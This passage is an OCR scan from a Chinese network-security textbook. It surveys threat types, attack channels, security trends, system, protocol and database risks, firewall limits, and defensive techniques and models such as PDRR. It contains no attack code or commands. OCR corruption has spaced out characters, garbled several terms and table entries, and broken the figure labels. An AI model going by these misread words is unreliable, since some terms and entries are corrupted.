流 。 传 统 的 安全 “ 老 三 样 ”" 为 网 络 安 全 建设 起 到 了 重要 作用 , 却 具有 一 定局 限 性 ,也 存在 
许多 新 问题 : 用 户 在 系统 中 安装 了 防火 墙 后 , 却 难以 避免 垃圾 邮件 、 病 毒 传播 和 拒绝 服务 
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攻击 的 侵扰 。 入 侵 检 测 技术 在 提前 预警 ,精确 定位 、 实 时 交互 整体 性 \ 漏 报 误 报 率 和 全 
局 管理 等 方面 存在 着 先天 不 足 。 计 算 机 病毒 防范 技术 滞后 于 实际 的 各 种 新 病毒 及 繁衍 
变异 ,而 且 , 内 网 的 安全 还 包括 安全 策略 的 执行 .防止 外 来 非法 侵入 、 补 丁 更 新 及 合 规 管 


理 等 。 


122 网 络 安全 威胁 种 类 及 途径 


计算 机 网 络 面临 的 主要 威胁 来 自 人 为 因素 和 运行 环境 的 影响 ,其 中 包括 网 络 设备 的 
不 安全 因素 和 对 网 络 信息 的 威胁 。 这 些 网 络 安全 威胁 主要 表现 为 非法 授权 访问 .线路 窃 
听 、` 黑 客人 侵 、 假 冒 合法 用 户 、 病 毒 破坏 .干扰 系统 正常 运行 .修改 或 删除 数据 等 。 这 些 威 
胁 大 致 可 分 为 无 意 威 胁 和 故意 威胁 (主动 攻击 和 被 动 攻击 ) 两 大 类 。 网 络 安 全 面临 的 主 
要 威胁 的 类 型 ,如 表 1-1 所 示 。 


表 1-1 网 络 安全 的 主要 威胁 


威胁 类 型 说 BJ 

非 授权 访问 通过 口令 ,密码 和 系统 漏洞 等 手段 获取 系统 访问 权 

窃听 窃听 网 络 传输 信息 
伪造 将 伪造 的 信息 发 送 给 他 人 
自 改 攻击 者 对 合法 用 户 之 间 的 通信 信息 进行 自 改 后 ,发 送 给 他 人 
窃取 盗 取 系统 重要 的 软件 或 硬件 .信息 和 资料 

截获 /修改 数据 在 网 络 系统 传输 中 被 截获 删除、 修改 替换 或 破坏 
WL 4 攻击 者 获得 某 些 非 正常 信息 后 ,发送 给 他 人 

行为 否认 通信 实体 否认 已 经 发 生 的 行为 
旁 路 控制 利用 系统 的 缺陷 或 安全 脆弱 性 的 非 正常 控制 

截获 攻击 者 从 有 关 设 备 发 出 的 无 线 射频 或 其 他 电磁 辐射 中 获取 信息 
人 为 朴 忽 已 授权 人 为 了 利益 或 由 于 下 忽 将 信息 泄露 给 未 授权 人 
信息 泄露 信息 被 泄露 或 暴露 给 非 授权 用 户 
物理 破坏 通过 计算 机 及 其 网 络 或 部 件 进 行 破坏 ,或 绕 过 物理 控制 非法 访问 
病毒 木马 利用 计算 机 木马 病毒 及 恶意 软件 进行 破坏 或 恶意 控制 他 人 系统 
拒绝 服务 攻击 攻击 者 以 某 种 方式 使 系统 响应 减 慢 甚至 瘫痪 ,阻止 用 户 获 得 服务 
服务 欺骗 欺骗 合法 用 户 或 系统 .骗取 他 人 信任 以 便 谋取 私利 

冒名 顶替 假冒 他 人 或 系统 用 户 进 行 活动 
资源 耗 尽 故意 超 负荷 使 用 某 一 资源 ,导致 其 他 用 户 服务 中 断 
消息 重 发 重 发 某 次 截获 的 备份 合法 数据 ,达到 获取 信任 并 非法 侵权 的 目的 
陷阱 门 设置 陷阱 “机 关 ? 系 统 或 部 件 ,骗取 特定 数据 以 违反 安全 策略 
媒体 废弃 物 利用 媒体 废弃 物 得 到 可 利用 信息 ,以 便 非 法 使 用 
信息 战 为 国家 或 集团 利益 ,通过 信息 战 进行 网 络 干扰 破坏 或 丽 怖 袭击 


近 几 年 来 ,国内 外 网 络 被 侵害 和 攻击 的 数量 及 程度 都 呈现 出 急剧 上 升 的 态势 ,而且 
种 类 和 途径 多 变 。 随 着 网 络 技术 和 应 用 的 不 断 发 展 扩 大 ,大 量 的 系统 功能 、 网 络 资源 和 
应 用 服务 已 经 成 为 黑客 的 攻击 目标 。 目 前 ,主流 的 基础 网 络 应 用 ,包括 网 上 银行 .电子 商 
务 、 股 票证 券 、 网 游 、 下 载 (迅雷 /BT) 等 都 存在 安全 隐患 。 一 是 这 些 网 络 应 用 自身 的 安全 
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问题 比较 严重 ,特别 是 开发 商都 将 研发 的 产品 发 展 成 为 更 广泛 .更 开放 的 网 络 社区 、 支 
付 / 交 易 营销 平台 ,因此 ,用 户 名 、 账 号 和 密码 等 信息 成 为 黑客 的 窃取 目标 ;二 是 这 些 网 络 
应 用 也 成 为 病毒 传播 .黑客 攻击 的 主要 途径 ,如 图 1-3 所 示 。 


网 络 用 户 


光盘 及 其 他 网 络 系统 其 他 途径 
存储 介质 


| Web 浏 览 即时 通信 下 载 软件 操作 系统 数据 库 系统 其 他 网 络 服务 


| IE 等 浏览 器 || QQ. MSN || 各 种 下 载 软件 || ”漏洞 隐患 各 种 风险 “|| 邮件 、 网 银 、 网 游 等 
图 1-3 网 络 安全 主要 威胁 及 途径 


123 网 络 安全 威胁 的 发 展 态势 


【案例 1-4] 中 国 网 络 安全 问题 非常 突出 。 随 着 互联 网 技术 和 应 用 的 快速 发 展 , 中 
国 互 联网 用 户 数量 急剧 增加 。 据 估计 ,到 2020 年 ,全 球 网 络 用 户 将 上 升 至 50 亿 户 ,移动 
用 户 将 上 升 至 100 亿 户 。 中 国 互 联网 用 户 数量 急剧 增加 ,网 民 规 模 、 宽 带 网 民 数 、 国 家 顶 
级 域名 注册 量 3 项 指标 仍 居 世界 第 一 。 各 种 操作 系统 及 应 用 程序 的 漏洞 不 断 出 现 , 相 比 
西方 发 达 国 家 ,我 国 网 络 安 全 技术 、 互 联网 用 户 安全 防范 能 力 和 意识 较为 薄弱 , 极 易 成 为 
境内 外 攻击 利用 的 主要 目标 。 

我 国 网 络 安全 监管 机 构 多 次 对 近 几 年 的 网 络 安全 威胁 ,特别 是 新 出 现 的 网 络 攻击 手 
段 进 行 过 深入 分 析 ,发 现 各 种 网 络 攻击 工具 更 加 简单 化 .智能 化 自动化。 攻击 手段 更 加 
复杂 多 变 , 攻 击 目标 直 指 网 络 基础 协议 和 操作 系统 ,黑客 培训 更 加 广泛 ,甚至 通过 网 络 传 
授 即 可 达到 “黑客 技术 ”速成 。 对 计算 机 网 络 安 全 监管 .科研 以 及 信息 化 网 络 建设 管理 、 
开发 .设计 和 应 用 都 提出 了 新 的 课题 与 挑战 。 

中 国电 子 信 息 产 业 发 展 研究 院 提 出 未 来 网 络 安全 十 大 趋势 

(1) 网 络 空间 国际 军备 竞赛 加 剧 。 

(2) 可 能 发 生 有 组 织 的 大 规模 网 络 攻击 。 

(3) 移动 互联 网 安全 事件 增加 。 

(4) 智能 互联 设备 成 为 网 络 攻击 的 新 目标 。 

(5) 工业 控制 系统 的 安全 风险 加 大 。 

(6) 可 能 发 生 大 规模 信息 泄露 事件 。 

(7) 网 络 安全 事件 造成 更 大 损失 。 

(8) 网 络 空间 国际 话语 权 的 争夺 更 加 激烈 。 

(9) 我 国信 息 安 全 产业 高 速 发 展 。 
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(10) 我 国 网 络 安 全 立法 取得 新 进展 。 

乔治 亚 理工 学 院 发 布 的 2016 年 网 络 安全 预测 报告 指出 网 络 安 全 威胁 呈现 四 大 
趋势 

(1) 个 人 隐私 数据 泄露 问题 将 继续 恶化 。 随 着 移动 应 用 ,特别 是 Android 应 用 的 数 
量 和 下 载 量 的 不 断 增 长 ,以 及 企业 对 个 人 数据 的 欲望 永 无 止境 ,除非 新 的 隐私 政策 出 台 ， 
否则 个 人 用 户 实际 上 已 经 沦 为 企业 眼中 会 走动 的 数据 资产 。 

(2) 专业 网 络 安全 人 才 全 球 短 缺 。 本 土 培训 的 网 络 安全 人 才 出 现 巨大 缺口 ,不 仅仅 
在 美国 ,全 球 都 是 如 此 ;网 络 安全 保险 业 则 受制 于 难以 把 握 的 风险 评估 ;安全 人 才 的 短缺 
将 进一步 推动 云 安全 服务 .安全 系统 外 包 以 及 威胁 情报 服务 等 市 场 的 发 展 。 

(3) 物 联 网 的 高 速 发 展 使 硬件 成 为 黑客 攻击 的 一 个 主要 攻击 面 , 对 工控 网 和 智能 硬 
件 的 威胁 加 剧 。 

(4) 网 络 间谍 活动 将 日 益 狙 儿 。 世 界 很 多 国家 的 信息 战术 研究 及 各 种 境内 外 情报 人 
员 将 更 多 ,更 快 ,更 广泛 地 利用 计算 机 网 络 搜集 .窃取 和 利用 各 种 相关 信息 。 

[ER 计 论 思考 

(1) 为 何 说 计算 机 网 络 存在 着 安全 漏洞 和 隐患 ? 

(2) 计算 机 网 络 安全 面临 的 主要 威胁 类 型 和 途径 有 哪些 ? 

(3) 网 络 安全 威胁 的 发 展 趋势 是 什么 ? 


13 网 络 安全 风险 及 隐患 分 析 


网 络 安全 的 风险 及 脆弱 性 涉及 计算 机 网 络 设 计 、 结 构 . 层 次 .范畴 和 管理 机 制 等 方 
面 ,要 做 好 网 络 安 全 防范 ,必须 深入 分 析 网 络 系 统 安 全 风险 及 隐患 。 


131 网 络 系统 安全 风险 及 隐患 


1. 网 络 系统 面临 的 安全 风险 


互联 网 起 初 仅 限 于 计算 和 科研 ,其 设计 及 技术 基础 并 不 安全 。 现 在 ,任何 用 户 都 可 
通过 具有 开放 性 、 国 际 性 和 自由 性 等 特征 的 互联 网 ,在 授权 范围 内 传送 和 获取 各 种 信息 
资源 。 网 络 系统 面临 风险 及 隐患 的 主要 原因 包括 以 下 7 个 方面 : 

1) 系统 漏洞 及 复杂 性 

主机 系统 和 网 络 协议 的 结构 复杂 ,以 及 一 些 难 以 预料 的 软件 设计 和 实现 过 程 中 的 下 
忽 及 漏洞 隐患 ,致使 网 络 安全 与 防范 非常 繁杂 困难 。 

2) 网 络 开放 性 

用 户 通 过 计算 机 及 手机 网 络 的 开放 端口 才能 浏览 到 互联 网 上 的 各 种 信息 资源 ,同时 
这 些 开放 端口 及 通信 协议 等 也 给 网 络 带 来 很 大 的 风险 和 隐患 , 极 易 受 到 网 络 侵入 和 攻 
击 , 而 且 站 点 主机 数量 的 剧 增 致 使 网 络 监 控 难 以 准确 及 时 有 效 。 

3) 网 络 共享 性 

网 络 资源 共享 使 开放 端口 增加 ,为 系统 安全 带 来 了 更 大 风险 ,并 为 黑客 借 机 进行 破 
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坏 提 供 了 便利 。 网 络 资源 共享 和 网 络 快速 发 展 与 更 新 ,致使 相关 的 法 律 法 规 、 分 布 式 管 
理 , 运 行 及 技术 保障 等 各 个 方面 很 难 及 时 有 效 地 解决 出 现 的 各 类 问题 。 

4) 身份 难 认证 

网 络 的 身份 认证 环节 、 技 术 和 机 制 等 比较 薄弱 ,常用 的 静态 口令 极 易 被 破译 ,而 且 通 
过 越权 访问 即 可 借用 管理 员 的 检测 信道 ,窃取 用 户口 令 和 密码 等 重要 信息 。 

5) 边界 不 确定 

网 络 升级 与 维护 的 可 扩展 性 致使 网 络 边界 难以 确定 ,网 络 资源 共享 访问 也 使 网 络 安 
全 边界 “长 城 ”被 破坏 ,导致 对 网 络 安全 构成 严重 的 威胁 。 

6) 传输 路 径 与 结 点 不 安全 

网 络 用 户 通过 网 络 互 相传 输 的 路 径 很 多 ,一 个 报 文 从 发 送 端 到 目的 端 需要 经 过 多 个 
中 间 结 点 ,所 以 ,起 止 端的 安全 保密 性 根本 无 法 解决 中 间 结 点 的 安全 问题 。 

7) 信息 高 度 聚 集 

当 信息 量 少 且 分 散 时 ,其 价值 往往 并 不 被 注意 。 当 大 量 相关 信息 聚集 以 后 ,显示 出 
其 重要 价值 。 网 络 聚 集 大 量 敏感 信息 后 ,很 容易 受到 分 析 性 等 方式 的 攻击 。 


2. 网 络 服务 协议 的 安全 隐患 


互联 网 服务 安全 包括 Web 浏览 服务 安全 、 文 件 传 输 (FTP) 服 务 安全 、 远 程 登 录 
(Telnet) 安 全 、E-mail 服务 安全 .DNS 域名 安全 和 设备 的 实体 安全 。 网 络 的 运行 机 制 基 
于 网 络 协议 ,不同 结 点 间 的 信息 交换 按照 约定 机 制 通过 协议 数据 单元 来 实现 。TCP/IP 
协议 在 设计 初期 只 注重 异 构 网 的 互联 ,并 没有 考虑 到 安全 问题 , Internet 的 广泛 应 用 使 其 
安全 隐患 对 系统 安全 产生 很 大 影响 。 互 联网 基础 协议 TCP/IP、FTP、E-mail、RPC( 远 程 
进程 调用 ) 和 NFS( 网 络 文件 系统 ) 等 不 仅 公 开 ,也 都 存在 许多 安全 漏洞 和 隐患 。 另 外 ,网 
络 管理 人 员 难 有 足够 的 时 间 和 精力 专注 于 全 程 网 络 安全 监控 ,而 且 操作 系统 因 其 复杂 人 性 
而 难以 检测 并 解决 所 有 的 安全 漏洞 和 隐患 ,致使 连接 到 网 络 上 的 终端 受到 入 侵 威胁 。 

由 于 协议 本 身 的 缺陷 ,网 络 应 用 层 服 务 存在 着 多 种 安全 隐患 ,IP 层 通 信也 存在 着 易 
欺骗 性 、 系 统 和 网 络 易 被 监视 及 其 他 风险 。 其 次 ,TCP 和 用 户 数据 报 协议 (UDP) 服 务 的 
认证 只 对 主机 地 址 ,而 不 对 指定 用 户 。 而 且 , 网 络 的 用 户 名 及 密码 等 信息 容易 被 监视 和 
窃取 , 当 登 录 远 程 主机 账户 时 ,如 果 传 输 的 重要 信息 不 加 密 , 则 很 容易 被 黑客 关 取 。 


132 操作 系统 的 漏洞 及 隐患 


操作 系统 安全 (operation system secure) 是 指 操作 系统 本 身 的 安全 ,以 及 通过 它 对 计 
算 机 系统 的 软 硬 件 资源 的 整体 有 效 控制 ,并 为 所 管理 的 资源 提供 安全 保护 。 操 作 系统 是 
网 络 系统 中 最 基本 、 最 重要 的 系统 软件 ,设计 与 开发 时 的 疏忽 给 其 留 下 了 漏洞 和 隐患 。 


1. 体系 结构 的 漏洞 


【案例 1-5] 操作 系统 的 体系 结构 漏洞 是 计算 机 系统 漏洞 的 主要 原因 。 操 作 系 统 的 
程序 如 1/O 的 驱动 程序 和 系统 服务 ,可 以 通过 打 “ 补 丁 ” 的 方式 进行 动态 链接 ,许多 
UNIX 操作 系统 的 版 本 升级 也 是 如 此 。 其 动态 链接 的 方法 容易 被 黑客 所 利用 ,也 可 能 成 
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为 计算 机 病毒 产生 的 环境 。 另 外 ,操作 系统 的 一 些 功能 也 会 带 来 不 安全 因素 ,如 支持 在 
网 络 上 传输 可 以 执行 的 文件 映像 、 网 络 加 载 程序 等 。 系 统 漏洞 造成 的 威胁 主要 包括 3 个 
方面 : 初始 化 错误 、 不 安全 服务 及 配置 ,从 漏洞 乘虚 而 入 。 


2. 创建 进程 的 隐患 


支持 进程 的 远程 创建 与 激活 ,所 创建 的 进程 继承 原 进程 的 权限 ,这 些 机 制 时 常 也 提 
供 了 在 远 端 服 务 器 上 安装 “间谍 软件 ”的 机 会 。 可 将 其 以 打 补 丁 的 方式 “ 补 ” 在 一 个 合 
的 用 户 或 特权 用 户 上 ,就 可 使 系统 进程 与 作业 的 监视 程序 失效 。 另 外 ,软件 的 隐秘 通道 
是 为 设计 编程 和 维护 人 员 而 设置 的 ,一 旦 隐秘 通道 被 探知 ,就 会 成 为 黑客 人 侵 的 通道 。 


3. 不 安全 服务 及 设置 


【案例 1-6] 操作 系统 的 一 些 服务 程序 有 时 可 以 绕 过 计算 机 的 安全 系统 。 互 联网 里 
虫 就 利用 了 UNIX 系统 中 3 个 可 绕 过 的 机 制 。 网 上 浏览 I 正 ,文件 传送 `E-mail 电子 邮件 、 
远程 登录 和 即时 通信 QQ 等 网 络 服务 如 果 不 注意 安全 选项 的 设置 与 安全 防范 ,很 容易 出 
现 信息 被 窃取 、 受 到 网 络 攻击 和 感 业 病毒 等 问题 。 


4. 配置 和 初始 化 错误 


当 计 算 机 网 络 系统 出 现 严 重 故 障 , 而 必须 关 掉 某 台 服务 器 以 维护 其 某 个 子 系统 ,之 
后 再 重启 动 服务 器 时 ,可 能 会 发 现 个 别 文件 丢失 或 被 算 改 的 情况 ,这 可 能 就 是 在 系统 进 
行 重新 初始 化 时 ,安全 系统 没有 正确 地 初始 化 ,从 而 留 下 了 安全 漏洞 被 人 利用 ,类 似 的 问 
题 在 木马 程序 修改 系统 的 安全 配置 文件 时 也 可 能 会 发 生 。 


133 网 络 数据 库 的 安全 风险 


数据 库 是 信息 系统 的 重要 组 成 部 分 ,是 信息 化 的 关键 技术 之 一 。 网 络 系统 中 大 量 重 
要 数据 存放 在 数据 库 中 供用 户 共享 。 数 据 库 技术 是 现代 信息 资源 管理 的 重要 技术 。 数 
据 库 技术 的 核心 是 数据 库 管 理 系统 CDBMS) , 它 主要 用 于 集中 管理 数据 资源 信息 ,实现 数 
据 资源 共享 ,减少 数据 元 余 ,并 确保 系统 数据 的 安全 保密 、 完 整 性 和 可 靠 性 ,各 类 信息 系 
统 的 建立 都 以 其 为 支撑 平台 。 数 据 库 安 全 不 仅 包括 数据 库 系 统 本 身 的 安全 ,还 包括 其 中 
数据 的 安全 ,这 是 其 核心 和 关键 ,需要 确保 数据 的 安全 可 靠 和 正确 有 效 , 确 保 数 据 的 安全 
性 、 完 整 性 和 并 发 控制 。 数 据 库 存在 的 不 安全 因素 包括 授权 用 户 超出 权限 进行 数据 访 
问 .更 改 和 破坏 .非法 用 户 窃取 信息 资源 等 。 

数据 的 安全 性 主要 是 防止 数据 库 被 故意 地 破坏 和 非法 地 存 取 ;数据 的 完整 性 主要 是 
防止 数据 库 中 存在 不 符合 语义 的 数据 , 且 防 止 由 于 错误 信息 的 输入 、 输 出 而 造成 无 效 操 
作 和 错误 结果 ;并 发 控制 主要 是 在 多 个 用 户 程序 并 行 存 取 数 据 时 保证 数据 的 一 致 性 。 

具体 的 数据 库 安全 性 分 析 、 技 术 和 应 用 将 在 第 9 章 进行 详细 介绍 。 


134 防火 墙 的 局 限 性 
网 络 防火 墙 可 以 较 好 地 阻止 外 网 基于 IP 包头 的 攻击 和 非 信 任 地 址 的 访问 ,但 是 无 


< 
12 (2 2sBiA 第 2 版 ) 


法 控制 来 自 内 网 的 攻击 行为 ,也 无 法 阻止 基于 数据 内 容 的 黑客 攻击 和 病毒 人 侵 。 其 安全 
局 限 性 还 需要 和 人 侵 检 测 系统 (Intrusion Detection Systems,IDS) 进 行 合理 补充 ,协助 系统 
应 对 各 种 网 络 攻击 ,以 扩展 系统 管理 员 的 安全 管理 能 力 ( 包 括 安全 审计 、 监 视 、 进 攻 识 别 
和 响应 ) ,提高 信息 安全 基础 结构 的 完整 性 。 从 网 络 系统 中 的 一 些 关 键 点 收集 并 分 析 有 
关 信 息 , 可 检查 出 违反 安全 策略 的 异常 行为 或 遭 到 攻击 的 迹象 。 入 侵 防 御 和 检测 系统 被 
认为 是 防火 墙 后 的 第 二 道 安全 闸门 ,在 不 影响 网 络 性 能 的 情况 下 ,需要 对 网 络 进行 防御 
和 监测 ,针对 网 络 内 部 攻击 、 外 部 攻击 和 误 操 作为 网 络 提供 实时 保护 。 
具体 的 防火 墙 安全 性 分 析 及 技术 和 方法 将 在 第 8 章 进行 详细 介绍 。 


135 安全 管理 及 其 他 问题 


网 络 安全 是 一 项 系统 工程 ,需要 各 方面 协同 管理 。 安 全 管理 产生 的 漏洞 和 玻 忽 属于 
人 为 因素 ,如 果 缺 乏 完 善 的 相关 法 律 法 规 , 管 理 技术 规范 和 安全 管理 组 织 及 人 员 , 缺 少 定 
期 的 安全 检查 .测试 和 实时 有 效 的 安全 监控 ,将 是 网 络 安全 的 最 大 问题 。 

【案例 1-7] 全 球 重 大 数据 泄露 事件 频 发 ,针对 性 攻击 持续 增多 。 据 赛 门 铁 克 2013 
年 10 月 (安全 分 析 报 告 ) 发 现 ,全 球 近 几 年 最 严重 的 一 起 重大 数据 泄露 事件 已 造成 1.5 
亿 用 户 个 人 资料 被 泄露 ,目前 所 知 的 数据 泄露 事件 中 ,被 泄露 最 多 的 信息 为 用 户 真 实 姓 
名 、 社 会 保险 卡 账号 和 出 生日 期 等 重要 信息 , 且 各 种 有 针对 性 的 攻击 也 持续 增多 。 

(1) 法 律 法 规 和 安全 管理 政策 问题 。 主 要 是 管理 体制 .保障 体系 .机 制 方式 方法 、 权 
限 .监控 以 及 管理 策略 .措施 和 审计 等 不 够 科学 完善 及 时 有 效 等 。 

(2) 管理 漏洞 和 操作 人 员 问 题 。 主 要 是 管理 疏忽 .失误 、 误 操作 及 水 平 能 力 等 。 如 安 
全 配置 不 当 所 造成 的 安全 漏洞 ,用户 安全 意识 不 强 与 疏忽 ,密码 选择 不 慎 等 ,都 会 对 网 络 
安全 构成 威胁 。 而 玖 于 管理 与 防范 ,以 及 个 别 内 部 人 员 贪 心绪 念 成 为 最 大 威胁 。 

实体 管理 .运行 环境 安全 及 传输 安全 是 网 络 安全 的 重要 基础 。 在 光缆 、 同 轴 电 缆 、 微 
波 、 卫 星 通信 中 窃听 指定 的 信息 很 难 ,但 是 ,没有 绝对 安全 的 通信 线路 ,例如 任何 传输 设 
备 和 线路 都 可 能 存在 电磁 干扰 和 泄漏 等 安全 问题 。 

[讨论 思考 

(1) 网 络 安全 风险 主要 因素 有 哪些 ? 具体 表现 包括 哪 几 个 方面 ? 

(2) 什么 是 操作 系统 安全 ? 操作 系统 为 何 具有 安全 漏洞 和 隐患 ? 

(3) 网 络 安全 在 管理 方面 主要 有 哪些 问题 ? 


14 网 络 安全 技术 概述 


141 网 络 安全 常用 技术 概述 


1. 网 络 安全 技术 相关 概念 


网 络 安 全 技术 (network security technology) 是 指 为 解决 网 络 安全 问题 进行 有 效 监 
控 ,保证 数据 及 传输 安全 性 的 技术 手段 ,主要 包括 实体 安全 技术 .网络 结构 安全 技术 、 系 
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统 安全 技术 ,管理 与 运行 安全 技术 ,数据 安全 与 密码 技术 等 ,以 及 确保 安全 服务 和 安全 机 
制 的 策略 等 。 

宏观 上 ,网 络 安全 技术 主要 涉及 与 网 络 安全 有 关 的 各 种 技术 、 手 段 .策略 、 标 准 、 机 制 
和 措施 等 ,从 有 关 网 络 安全 的 法 律 法 规 到 规章 制度 ,从 网 络 安全 风险 评估 、 网 络 监 控 、 密 
钥 管理 .数据 安全 防范 到 系统 安全 审计 等 ,更 广义 的 防火 墙 和 入 侵 检测 系统 等 也 是 网 络 
安全 的 一 种 重要 技术 手段 。 

对 网 络 系统 的 扫描 、 检 测 和 评估 ,可 以 预测 主体 受 攻击 的 可 能 性 以 及 风险 和 威胁 , 比 
较 受 重视 。 由 此 可 以 识别 检测 对 象 的 系统 资源 ,分 析 被 攻击 的 可 能 指数 ,了 解 系统 的 安 
全 风险 和 隐患 ,评估 所 存在 的 安全 风险 程度 及 等 级 。 国 防 证券 .银行 等 一 些 非常 重要 的 
网 络 对 安全 性 的 要 求 最 高 ,不 允许 受到 入 侵 和 破坏 ,扫描 和 评估 技术 标准 更 为 严格 。 

监控 和 审计 是 与 网 络 安 全 密切 相关 的 技术 ,主要 通过 对 网 络 通信 过 程 中 可 疑 有 害 
信息 或 异常 行为 进行 记录 为 事后 处 理 提 供 依据 ,对 黑客 形成 强 有 力 的 威慑 且 可 提高 网 络 
整体 安全 性 。 如 局 域 网 监控 可 提供 内 部 网 异常 行为 监控 机 制 。 


2. 网 络 安全 常用 技术 


在 网 络 安全 中 ,常用 的 主要 技术 可 以 归纳 为 三 大 类 : 

(1) 预防 保护 类 。 主 要 包括 身份 认证 ,访问 管理 .加 密 、 防 恶意 代码 、 防 御 和 加 固 。 

(2) 检测 跟踪 类 。 主 体 对 客体 的 访问 行为 需要 进行 监控 和 事件 审计 ,防止 在 访问 过 
程 中 可 能 产生 的 安全 事故 的 各 种 举措 ,包括 监控 和 审核 跟踪 。 

(3) 响应 恢复 类 。 网 络 或 数据 一 旦 发 生 安全 事件 ,应 确保 在 最 短 的 时 间 内 对 其 事件 
进行 应 急 响应 和 备份 恢复 ,尽快 将 其 影响 降 至 最 低 。 

【案例 1-8】 某 银 行 依据 网 络 安全 业务 价值 链 的 概念 ,将 网 络 安全 的 技术 手段 分 为 
预防 保护 类 、 检 测 跟 踪 类 和 响应 恢复 类 ,如 图 1-4 所 示 。 


2 smk 22 mx 22 muk 》 


TY 访问 管理 | 加密 防 恶 加 固 监控 _ || 审核 跟踪 || 备份 恢复 
图 1-4 网 络 安全 常用 技术 


常用 的 8 种 网 络 安全 常用 技术 如 下 : 
(1) 身份 认证 (identity and authentication) 。 确 保 网 络 用 户 身份 的 正确 存储 、 同 步 、 
使 用 ,管理 和 一 致 性 确认 ,防止 他 人 冒 用 或 盗用 的 技术 手段 。 
(2) 访问 管理 (access management)。 用 于 确保 授权 用 户 在 指定 时 间 对 授权 的 资源 
行 正当 的 访问 ,防止 未 经 授权 的 访问 的 措施 
(3) 加 密 (cryptography)。 以 加 密 技术 确保 网 络 信 息 的 保密 性 、 完 整 性 和 可 审查 性 。 
加 密 技术 包括 加 密 算 法 、 密 钥 长 度 的 定义 和 要 求 等 ,以 及 密 钥 整 个 生命 周期 (生成 .分 发 、 
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存储 、 输 入 输出 .更 新 恢复、 销毁 等 ) 的 技术 方法 。 

(4) 防 恶意 代码 (antirmalicode) 。 通 过 建立 计算 机 病毒 的 预防 、 检 测 、 隔 离 和 清除 机 
制 ,预防 恶意 代码 人 侵 , 迅 速 隔 离 查 杀 已 感染 病毒 ,识别 并 清除 网 内 恶意 代码 。 

(5) 加 固 (hardening)。 对 系统 自身 弱点 采取 的 一 种 安全 预防 手段 ,主要 是 通过 系统 
漏洞 扫描 、 渗 透 性 测试 ,安装 安全 补丁 及 入 侵 防御 系统 、 关 闭 不 必要 的 服务 端口 和 对 特定 
攻击 的 预防 设置 等 技术 或 管理 手段 确保 并 增强 系统 自身 的 安全 。 

(6) 监控 (monitoring)。 通 过 监控 主体 的 各 种 访问 行为 ,确保 对 客体 的 访问 过 程 安 
全 的 技术 手段 ,如 安全 监控 系统 .人 侵 监 测 系统 等 。 

(7) 审核 跟踪 (audit trail) 。 对 出 现 的 异常 访问 .探测 及 操作 相关 事件 进行 核查 、 记 
录 和 追踪 。 每 个 系统 可 以 有 多 个 审核 跟踪 不 同 的 特定 相关 活动 。 

(8) 备份 恢复 (backup and recovery)。 为 了 确保 网 络 出 现 异常 .故障 \ 人 侵 等 意外 事 
故 时 能 够 及 时 恢复 系统 和 数据 而 进行 的 预先 备份 等 技术 手段 。 备 份 恢复 技术 主要 包括 4 
个 方面 : 备份 技术 、 容 错 技 术 、 元 余 技 术 和 不 间断 电源 保护 。 


142 网 络 安全 常用 模型 


利用 网 络 安全 模型 可 以 构建 网 络 安全 体系 和 结构 ,进行 具体 的 网 络 安全 方案 的 制 
定 、 规 划 、 设 计 和 实施 等 ,也 可 以 用 于 实际 应 用 过 程 的 描述 和 研究 。 

1. 网 络 安 全 PDRR 模型 

常用 的 描述 网 络 安全 整个 过 程 和 环节 的 网 络 安全 模型 为 PDRR 模型 : 防护 
(Protection) 检测 (Detection) ,响应 (Reaction) 和 恢复 (Recovery) ,如 图 1-5 所 示 。 
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图 1-5 网 络 安全 PDRR 模型 


在 此 模型 的 基础 上 ,以 “检查 准备 ,防护 加 固 、 检 测 发 现 、 快 速 反应 、 确 保 恢复 、 反 省 改 
进 ” 的 原则 ,经 过 改进 得 到 另 一 个 网 络 系统 安全 生命 周期 模型 一 一 IPDRRR (Inspection， 
Protection, Detection, Reaction, Recovery, Reflection) 模 型 ,如 图 1-6 所 示 。 

(1) 检查 准备 (Inspection)。 体 现在 3 个 方面 : 明确 资源 清单 , 搞 好 安全 分 类 ;进行 
风险 分 析 、 威 胁 评 估 , 识 别 系统 安全 脆弱 性 ;做 好 安全 需求 分 析 , 制 定安 全 策略 。 

(2) 防护 加 固 (Protection)。 包 括 实施 原则 、 策 略 、 过 程 与 实现 等 方面 的 全 方位 的 安 
全 防护 。 构 建 系统 安全 体系 结构 ,利用 合适 的 安全 技术 、 机 制 .设备 和 运行 环境 等 ,实现 
安全 方案 。 

(3) 检测 发 现 (Detection)。 为 了 及 时 发 现 并 解决 出 现 的 安全 问题 ,需要 实时 监控 
与 人 侵 检 测 , 定 期 进行 系统 漏洞 扫描 ,对 入 侵 类 型 .入 侵 方 式 、 检 测 方式 等 进行 收集 与 
分 类 。 
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(2) 防护 加 固 
(1) 检查 准备 — 


(3) 检测 发 现 
(6) 反省 改进 


RS。 2 


1-6 系统 安全 生命 周期 模型 


(4) 快速 响应 (Reaction) 。 对 突 发 的 异常 事件 ,根据 应 急 预 案 进行 快速 响应 ,如 断 开 
网 络 连接 .服务 降级 使 用 .记录 攻击 过 程 . 分 析 与 跟踪 攻击 源 等 ,及 时 采取 补救 措施 ,将 损 
失 或 风险 降低 到 最 小 ,并 保留 和 处 理 有 关 记 录 及 证 气 。 

(5) 确保 恢复 (Recovery)。 当 系统 中 断 或 出 现 故障 或 遭 到 严重 破坏 时 ,及 时 找 出 原 
因 并 尽快 修复 系统 故障 ,并 尽快 利用 数据 及 系统 备份 进行 恢复 。 

(6) 反馈 改进 (Reflection) 。 在 整个 网 络 系统 运行 过 程 中 ,对 出 现 的 各 种 安全 事故 应 
及 时 进行 处 理 , 同 时 做 好 采用 的 技术 与 响应 恢复 手段 .系统 安全 改进 建议 等 反馈 。 

(7) 安全 管理 (Management) 。 为 了 切实 保障 整个 系统 的 安全 和 正常 运行 ,应 认真 及 
时 按照 安全 策略 ,安全 标准 对 系统 进行 全 面 的 安全 管理 与 维护 。 


2. 网 络 安全 通用 模型 


利用 互联 网 将 数据 报 文 从 源 站 主机 传输 到 目的 站 主机 ,需要 协同 处 理 与 交换 。 通 过 建 
立 逻 辑 信息 通道 ,可 以 确定 从 源 站 经 网 络 到 目的 站 的 路 由 及 两 个 主体 协同 使 用 TCP/IP 
的 通信 协议 。 其 网 络 安全 通用 模型 如 图 1-7 所 示 。 此 模型 的 不 足 是 并 非 所 有 情况 都 


通用 。 
报 文 通信 信道 报 广 


秘密 信息 二 | 通信 主体 上 一 =] 通信 主体 [二 秘密 信息 
信息 转换 信息 转换 
攻击 


